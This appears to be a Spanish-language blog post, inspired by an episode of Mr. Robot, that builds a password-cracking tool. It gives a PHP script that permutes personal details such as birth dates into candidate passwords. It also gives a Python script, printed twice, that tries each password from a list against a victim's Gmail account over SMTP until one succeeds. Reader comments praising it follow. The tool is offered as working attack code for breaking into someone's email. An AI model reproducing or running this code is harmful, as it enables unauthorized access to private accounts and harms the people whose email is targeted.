En el episodio S01EP01 de la serie de Mr.robot observamos como hackea
a su psiquiatra Krista accediendo a su correo electrónico para conocer
un poco más acerca de su vida. En esta ocasión analizamos y realizamos
los códigos necesarios para poder crear la herramienta mepscrk.py
(Mr.Ebola Password cracker) inspirada en el episodio de Mr.robot
En la serie se ve que utilizan la herramienta ELPSCRK. (ELliot’s PaSsword CRacKer) de la siguiente manera:
Como podemos observar elpscrk, permite ingresar una lista de
argumentos para que el sistema calcule contraseñas en base a esa
información.
Lo primero que necesitaremos es crear g3n3r4t0r.php el cual nos
permitirá generar posibles contraseñas con la información que demos de
alta en el arreglo $arr, en este ejemplo ingresamos ’09’, ’08’, ‘1986’.
g3n3r4t0r.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
<?php
function pc_permute($items, $perms = array()) {
if (empty($items)) {
echo join('', $perms) . "<br/>";
} else {
for ($i = count($items) - 1; $i >= 0; --$i) {
$newitems = $items;
$newperms = $perms;
list($foo) = array_splice($newitems, $i, 1);
array_unshift($newperms, $foo);
pc_permute($newitems, $newperms);
}
}
}
$arr = array('09', '08', '1986');
pc_permute($arr);
?>
<!--
09 08 1986
09 1986 08
08 09 1986
08 1986 09
1986 08 09
1986 09 08
-->
|
Una vez que generamos todas las posibles contraseñas, pasamos a crear
mepscrk.py el Mr.Ebola Password cracker que nos permitirá intentar
conectar con el servicio smtp.gmail.com por el puerto 587. El sistema
intentara contraseña por contraseña almacenada en pswd.list hasta dar
con la correcta.
mepscrk.py
# ___. .__
# ____________ ____\_ |__ ____ | | _____
# / \_ __ \ _/ __ \| __ \ / _ \| | \__ \
# | Y Y \ | \/ \ ___/| \_\ ( <_> ) |__/ __ \_
# |__|_| /__| /\___ >___ /\____/|____(____ /
# \/ \/ \/ \/ \/
# .___
# ___________ ______ ________ _ _____________ __| _/
# \____ \__ \ / ___// ___/\ \/ \/ / _ \_ __ \/ __ |
# | |_> > __ \_\___ \ \___ \ \ ( <_> ) | \/ /_/ |
# | __(____ /____ >____ > \/\_/ \____/|__| \____ |
# |__| \/ \/ \/ \/
# __
# ________________ ____ | | __ ___________
# _/ ___\_ __ \__ \ _/ ___\| |/ // __ \_ __ \
# \ \___| | \// __ \\ \___| <\ ___/| | \/
# \___ >__| (____ /\___ >__|_ \\___ >__|
# \/ \/ \/ \/ \/
import smtplib
class bcolors:
OK = '\033[92m'
FAIL = '\033[91m'
BOLD = '\033[1m'
ENDC = '\033[0m'
UNDERLINE = '\033[4m'
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
print bcolors.BOLD + "Welcome to, mr.ebola Email Cracker based on MR.ROBOT - S01E01 11m03s" + bcolors.ENDC
print bcolors.BOLD + "TRYING WITH PASSWORDS IN: psw.list" + bcolors.ENDC
user = raw_input("Enter the victim's email address: ")
passwfile = "psw.list"
passwfile = open(passwfile, "r")
for password in passwfile:
try:
smtpserver.login(user, password)
print bcolors.UNDERLINE + "Password Found: %s" % password + bcolors.ENDC
break;
except smtplib.SMTPAuthenticationError:
print bcolors.FAIL + "Password Incorrect: %s" % password + bcolors.ENDC
# ____________ ____\_ |__ ____ | | _____
# / \_ __ \ _/ __ \| __ \ / _ \| | \__ \
# | Y Y \ | \/ \ ___/| \_\ ( <_> ) |__/ __ \_
# |__|_| /__| /\___ >___ /\____/|____(____ /
# \/ \/ \/ \/ \/
# .___
# ___________ ______ ________ _ _____________ __| _/
# \____ \__ \ / ___// ___/\ \/ \/ / _ \_ __ \/ __ |
# | |_> > __ \_\___ \ \___ \ \ ( <_> ) | \/ /_/ |
# | __(____ /____ >____ > \/\_/ \____/|__| \____ |
# |__| \/ \/ \/ \/
# __
# ________________ ____ | | __ ___________
# _/ ___\_ __ \__ \ _/ ___\| |/ // __ \_ __ \
# \ \___| | \// __ \\ \___| <\ ___/| | \/
# \___ >__| (____ /\___ >__|_ \\___ >__|
# \/ \/ \/ \/ \/
import smtplib
class bcolors:
OK = '\033[92m'
FAIL = '\033[91m'
BOLD = '\033[1m'
ENDC = '\033[0m'
UNDERLINE = '\033[4m'
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
print bcolors.BOLD + "Welcome to, mr.ebola Email Cracker based on MR.ROBOT - S01E01 11m03s" + bcolors.ENDC
print bcolors.BOLD + "TRYING WITH PASSWORDS IN: psw.list" + bcolors.ENDC
user = raw_input("Enter the victim's email address: ")
passwfile = "psw.list"
passwfile = open(passwfile, "r")
for password in passwfile:
try:
smtpserver.login(user, password)
print bcolors.UNDERLINE + "Password Found: %s" % password + bcolors.ENDC
break;
except smtplib.SMTPAuthenticationError:
print bcolors.FAIL + "Password Incorrect: %s" % password + bcolors.ENDC
El contenido del archivo psw.list deberá contener algo como esto,
respetando el salto de linea para que mepscrk.py funcione correctamente.
psw.list
1 09081986
2 09198608
3 08091986
4 08198609
5 19860809
6 19860908
REVISE MOS EL SIGUIENTE VIDEO..........
Gracias a nuestro amigo HackWis quien fue el creador del video y de la herramienta usada en esta serie
EXCELENTE AMIGO GENIAL TU INVESTIGACIÓN
ResponderEliminarTE HAS INSCRITO EN LA PAGINA HACKERONE 101 PODES PARTICIPAR BUSCANDO VULNERABILIDADES
ResponderEliminarMe recuerda a Hackwise. Pero igualmente, Cesar se pasa con tener la licencia, podría hacer una alternativa para los que no quieren ni pueden tener una licencia elite. Ganaste un seguidor
ResponderEliminar